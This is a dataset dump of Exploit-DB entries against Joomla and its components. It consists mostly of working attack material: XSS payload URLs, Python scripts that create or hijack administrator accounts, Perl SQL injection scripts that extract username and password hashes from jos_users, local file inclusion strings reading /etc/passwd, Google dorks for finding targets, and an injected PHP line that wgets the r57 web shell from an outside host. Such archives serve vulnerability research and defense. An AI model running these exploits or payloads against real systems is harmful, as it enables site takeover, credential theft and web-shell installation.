deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33022
Description: Joomla! < 1.5.11 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-03
Author: Airton Torres

Exploit:
source: https://www.securityfocus.com/bid/35189/info


Joomla! is prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues affect the 'com_user' component, the 'JA_Purity' template, and the administrative panel in the 'Site client' subproject of the application.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Joomla!1.5.11 are vulnerable. 

http://www.example.com/path/?theme_header=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?theme_background=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?theme_elements=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?logoType=1&logoText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?logoType=1&sloganText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://www.example.com/path/?excludeModules=%27;alert(8);%20var%20b=%27
http://www.example.com/path/?rightCollapseDefault=%27;alert(8);%20var%20b=%27
http://www.example.com/path/?ja_font=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
Exploit-DB #35973
Description: Joomla! < 1.6.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-07-20
Author: YGN Ethical Hacker Group

Exploit:
source: https://www.securityfocus.com/bid/48805/info

Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Joomla! 1.6.5 and prior are vulnerable. 

http://www.example.com/index.php?option=com_resman&task=list&city=<BODY%20ONLOAD=alert("SOLVER")>
Exploit-DB #36176
Description: Joomla! < 1.7.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-29
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/49853/info

Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Joomla! 1.7.0 and prior are vulnerable. 

http://example.com/joomla17_noseo/administrator/index.php?option=com_categories&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22


http://example.com/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22&author=


http://example.com/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=&author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22
Exploit-DB #41156
Description: Joomla! < 2.5.2 - Admin Creation
Type: webapps
Platform: php
Date: 2017-01-20
Author: Charles Fol

Exploit:
#!/usr/bin/python3
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution

import bs4
import requests
import random


url = 'http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
[CREDENTIAL_REDACTED]'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'groups][': '7'
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[groups][]']
response = session.post(action_url, data=data)

print("Account created for user: %s [%s]" % (username, email))
Exploit-DB #41157
Description: Joomla! < 3.6.4 - Admin Takeover
Type: webapps
Platform: php
Date: 2017-01-20
Author: Charles Fol

Exploit:
#!/usr/bin/python3
# CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution

import bs4
import requests
import random


ADMIN_ID = 384
url = 'http://vmweb.lan/Joomla-3.6.4/'

form_url = url + 'index.php/component/users/?view=registration'
action_url = url + 'index.php/component/users/?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
[CREDENTIAL_REDACTED]'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'id': '%d' % ADMIN_ID
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[id]']
response = session.post(action_url, data=data)

print("Account modified to user: %s [%s]" % (username, email))
Exploit-DB #11814
Description: Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-19
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
joomla component & plugin JE Tooltip Local File Inclusion
---------------------------------------------------------------------------------

Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 11 March 2010
Critical Lvl    : Moderate
Impact	        : Exposure of sensitive information
Where	        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application     : JE Tooltip (component and plugin)
version         : 1.0
Developer       : Hardik Mistry
License         : GPL            type  : Commercial
Date Added      : 11 March 2010
Demo            : http://joomlaextensions.co.in/formcreator/

Download        : http://joomlaextensions.co.in/extensions/joomla-module.html?page=shop.product_details&category_id=4&flypage=flypage.tpl&product_id=51&vmcchk=1

Description     :

JE Tooltip new Joomla 1.5 native MVC component and plugin that allows you to enter a word that you want to put on tool tip word. User can put the unlimited tooltips.

Below steps follow for installation:-
Go to Joomla Installation and install the component and plugin.
After that you can create tooltip on specific words on your entire website.
---------------------------------------------------------------------------

Vulnerable file: jeformcr.php

--------------------

how to exploit

http://192.168.0.1/index.php?option=com_jeformcr&view={LFI}%00


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #33566
Description: Joomla! Component 3D Cloud - 'tagcloud.swf' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-26
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37958/info

The 3D Cloud component for Joomla! is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/modules/mod_3dcloud/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href=&#039;javascript:alert(document.cookie)&#039;+style=&#039;font-size:+40pt&#039;%3EClick%20me%3C/a%3E
%3C/tags%3E
Exploit-DB #7575
Description: Joomla! Component 5starhotels - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-24
Author: EcHoLL

Exploit:
#!/usr/bin/perl -w
 
 
#Joomla com_5starhotels Sql injection#
########################################
#[~] Author :  EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous
 
#[!] Module_Name:  com_5starhotels
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_5starhotels"
########################################
 
 
system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|                 Turkish Securtiy Team                      |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_5starhotels(showhoteldetails&id=)Remote SQL Injection Vuln|\n\n";
print "\t\t|   Coded by: EcHoLL     www.warezturk.org               |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
 
use LWP::UserAgent;
 
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
 chomp(my $target=<STDIN>);
 
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
 
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 
$host = $target .   "/index.php?option=com_5starhotels&task=showhoteldetails&id=1+union+select+1,".$column_name."+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
  print "\n[+] Admin Hash : $1\n\n";
  print "#   Tebrikler Exploit Calisti!  #\n\n";
}
else{print "\n[-] Exploit BulunamadÄ±...\n";
}

# milw0rm.com [2008-12-24]
Exploit-DB #17411
Description: Joomla! Component A Cool Debate 1.0.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-06-18
Author: Chip d3 bi0s

Exploit:
A Cool Debate 1.0.3 Component Joomla Local File Inclusion
=========================================================================================
 
- Discovered by : Chip D3 Bi0s
- Email         : chipdebios[at]gmail[dot]com
- Group         : LatinHackTeam
- Date          : 18 june 2011
- Where         : From Remote
 
-------------------------------------------------------------------------------------
Affected software description
 
Application     : A Cool Debate
Developer       : oasis fleeting
version         : 1.0.3
License         : GPLv2 or later
Date Added      : 5 June 2011
Download        : http://www.acoolsip.com/development/a-cool-debate.html
 
I. BACKGROUND
 

When building this component I drew on debate.org as an example. With the upcoming elections in the U.S.A.
 I figure that this will become a very popular extension for joomla. This component integrates with the most
 popular community extensions for joomla, Community Builder, Jomsocial and CBE.

This is the first release candidate of this extension and is ready for users to put it through their test.
It is free and still in an early stage.

Debate or debating is a formal method of interactive and representational argument. Debate is a broader
form of argument than logical argument, which only examines consistency from axiom, and factual argument,
which only examines what is or isn't the case or rhetoric which is a technique of persuasion. Though logical
consistency, factual accuracy and some degree of emotional appeal to the audience are important elements of the
art of persuasion, in debating, one side often prevails over the other side by presenting a superior "context" and/or
framework of the issue, which is far more subtle and strategic.
 
II. DESCRIPTION
 
Some Local File inclusion vulnerabilities exist in Component A Cool Debate 1.0.3.
 
 
 
III. ANALYSIS
 
The bug is in the following files, specifying the lines in 
 
components/com_acooldebate/acooldebate.php
 
 
 
   // Require specific controller if requested
   if($controller = JRequest::getVar('controller')) {
	    require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
 
 Explanation:As noted in the line [16] $controller
 nowhere is filtered, which result is lfi as is known to pass '.php' use %00 :)
 
 
IV. EXPLOITATION
it is logical that {LFI} depends on the number of directories served,
which can be assumed when the error it prints on the web
 
http://site/path/index.php?option=com_acooldebate&controller={LFI}
{LFI}=../../../../../../../../../../etc/passwd%00
{LFI}=../../../../../../../../../../proc/self/environ%00


 
changing the user agent for something so:
<?system('wget http://chipdebios.com/r57.txt -O r57.php');?>
 
A special greeting to my good friends:
R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)
 
 
 
+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #12592
Description: Joomla! Component aardvertiser 2.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-13
Author: eidelweiss

Exploit:
========================================================================
Joomla Component advertising (com_aardvertiser) V2.0 Local File Inclusion Vulnerability
========================================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ########################################          1
0                    I'm eidelweiss member from Inj3ct0r Team          1
1                    ########################################          0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Download:	http://sourceforge.net/projects/aardvertiser/files/

Author:		eidelweiss
Contact:		eidelweiss[at]cyberservices.com
Thank`s:		r0073r & 0x1D (inj3ct0r) , JosS , exploit-db team , [D]eal [C]yber
Greetz: 		all inj3ctor Team, yogyacarderlink Team, devilzc0de & all INDONESIAN HACKER`s

========================================================================

-=[Descripttion]=-

A Joomla 1.5 component for advertising items in a 'classified ads' style on a Joomla site complete with extra modules and plugins for improved functionality. 


	-=[Dork]=-

	inurl:/index.php?option=com_aardvertiser

	-=[Exploit]=-

	http://localhost/index.php?option=com_aardvertiser&cat_name=conf&task= [lfi]
	http://localhost/index.php?option=com_aardvertiser&task= [lfi]

	-=[LFI]=-

	/etc/vsftpd.chroot_list
	/usr/local/etc/apache/vhosts.conf

	-=[ P0C ]=-

	http://localhost/index.php?option=com_aardvertiser&cat_name=conf&task=/usr/local/etc/apache/vhosts.conf
	http://localhost/index.php?option=com_aardvertiser&task=/etc/vsftpd.chroot_list

=========================| -=[ E0F ]=- |=================================
Exploit-DB #14922
Description: Joomla! Component Aardvertiser 2.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-09-06
Author: Stephan Sattler

Exploit:
# Exploit Title: Joomla Component Aardvertiser 2.1 free Blind SQL Injection Vulnerability
# Date: 07.09.2010
# Author: Stephan Sattler // www.solidmedia.de
# Software Link: http://sourceforge.net/projects/aardvertiser/files/com_aardvertiser%20V2.1.1%20Free/com_aardvertiserfree.zip/download
# Version: 2.1 free


[ Vulnerability//PoC ]

http://server/joomlapath/index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view
Exploit-DB #12429
Description: Joomla! Component ABC 1.1.7 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-27
Author: AntiSecurity

Exploit:
#!/usr/bin/perl

#***********************************************************************#
#                                                                       #
# [o] ABC Joomla Extension SQL Injection Exploit                        #
#      Software : com_abc version 1.1.7                                 #
#      Vendor   : http://www.airiny.com/                                #
#      Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ] #
#      Contact  : public[at]antisecurity[dot]org                        #
#      Home     : http://antisecurity.org/                              #
#                                                                       #
# [o] Usage                                                             #
#      root@evilc0de:~# perl abc.pl www.target.com                      #
#                                                                       #
# [o] Greetz                                                            #
#      Angela Zhang stardustmemory aJe martfella pizzyroot Genex        #
#      H312Y yooogy mousekill }^-^{ noname matthews wishnusakti         #
#      skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11             #
#                                                                       #
# [o] April 27 2010 - GMT +07:00 Jakarta, Indonesia                     #
#                                                                       #
#***********************************************************************#

use HTTP::Request;
use LWP::UserAgent;

my $target = $ARGV[0];
my $file_vuln = '/index.php?option=com_abc&view=abc&letter=AS&sectionid=';
my $sql_query = '-null+union+select+1,group_concat(0x3a,username,0x3a,password,0x3a)+from+jos_users--';
print "\n[x]===============================================[x]\n";
print "[x]  ABC Joomla Extension SQL Injection Exploit   [x]\n";
print "[x]            [C]oded By AntiSecurity            [x]\n";
print "[x]===============================================[x]\n\n";

my $exploit = "http://".$target.$file_vuln.$sql_query;

my $request   = HTTP::Request->new(GET=>$exploit);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
my $res   = $response->content;
if ($res =~ m/:(.*):(.*):/g) {
my ($username,$password) = ($1,$2);
print "[+] $username:$password \n\n";
}
else { print "[-] Error, Fail to get admin login.\n\n"; }
}
else { print "[-] Error, ".$response->status_line."\n\n"; }
Exploit-DB #41493
Description: Joomla! Component Abstract 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-02
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Abstract v2.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_abstract
# Date: 02.03.2017
# Vendor Homepage: http://joomla6teen.com/
# Software: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/abstract-manager/
# Demo: http://demo.joomla6teen.com/abstractmanager
# Version: 2.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_abstract&view=conferences&layout=detail&pid=[SQL]
# http://localhost/[PATH]/index.php?option=com_abstract&view=conferences&task=contactEmail&pid=[SQL]
# 1+OR+1+GROUP+BY+CONCAT_WS(0x3a,0x496873616e53656e63616e,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1
# # # # #
Exploit-DB #5273
Description: Joomla! Component Acajoom 1.1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2008-03-18
Author: fataku

Exploit:
###############################################
#
# Joomla Component com_acajoom SQL Injection
#
###############################################
#
# Author: fataku
#
# Mail    : fataku@gmail.com
#
###############################################
#
# Dorks 1 : inurl:"com_acajoom" mailingid
#
###############################################
#
# Sploit:
#
# index.php?option=com_acajoom&act=mailing&task=view&listid=1&Itemid=1&mailingid=1/**/union/**/select/**/1,1,1,1,concat(username,0x3a,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/from/**/jos_users/**/LIMIT/**/1,1/*
#
###############################################
#
# Note/Tip:
#
# jos_ prefix may need fixed
#
# it may differ the number id, try LIMIT/**/1,1/* instaed
#
###############################################
#
# Greetings:
#
# To all the guys at www.offensive-security.com
#
###############################################

side note:

	<name>Acajoom</name>
	<creationDate>January 2007</creationDate>
	<author>Joobi Ltd</author>
	<authorName>JoobiWeb</authorName>
	<copyright>Â© 2006-2007 Joobi Ltd. All Rights Reserved.</copyright>

	<license>http://www.acajoom.com/license.php</license>
	<authorEmail>support@acajoom.com</authorEmail>
	<authorUrl>www.joobiweb.com</authorUrl>
	<version>1.1.5</version>
	<description>Acajoom is a mailing lists, newsletters, auto-responders, and follow up tool to communication effectively with your users and customers.
	Your Communication partner!</description>

# milw0rm.com [2008-03-18]